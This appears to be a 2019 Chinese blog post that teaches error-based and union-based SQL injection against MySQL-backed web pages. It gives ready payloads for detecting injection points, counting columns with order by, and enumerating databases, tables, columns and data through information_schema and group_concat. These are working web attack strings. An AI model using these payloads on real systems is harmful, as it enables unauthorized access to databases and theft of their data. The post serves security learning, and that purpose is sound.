SQL注入:显错注入

SQL注入的本质

就是把用户输入的数据当做代码执行

注入条件

1.用户能控制输入
2.能够将程序原本执行的代码,拼接上用户输入的数据进行执行

例:
http://www.xxx.com/new.php?id=1
http://www.xxx.com/new.php?id=2-1

注入的基本流程

1.判断是否存在注入点
1.最古老的方法:

​ and 1=1 页面正常
​ and 1=2 页面不正常
​ 注:and 1=1 and 1=2 被拦截的可能性太高了
​ 可以尝试 and -1=-1 and -1=-2或者直接 or sleep(5)

2.最简单的方法:

​ 页面后面加',看是否报错

3.常用的方法:

​ 如果是数字型传参,可以尝试-1

2.猜解字段数

order by 字段数 //显示报错则字段数为前面一个值

3.联合查询找出注入点

and 1=2 union select 1,2,3,…… //可以将字段都写上去

4.爆库、表、字段

查用户权限:union select 1,user(),3
查库:union select 1,database(),3
查表:union select 1,(select group_concat(table_name) from information_schema.tables where table_schema ='库名'),3
查字段:union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = '库名' and table_name = '表名'),3

5.查询我们需要的数据

查数据:union select 1,(select group_concat(字段1,字段2) from 库名.表名),3

注入常用函数:

group_concat(字段1,字段2) //返回由属于一组的列值连接组合而成的结果
ASCII(char) //返回字符的ASCII码值
DATABASE() //返回当前数据库名
USER()或SYSTEM_USER() //返回当前登陆用户名
VERSION() //返回MySQL服务器的版本
SLEEP(n) //休眠n秒

posted @ 2019-11-18 18:54  软二的小忠晏  阅读(958)  评论(0编辑  收藏  举报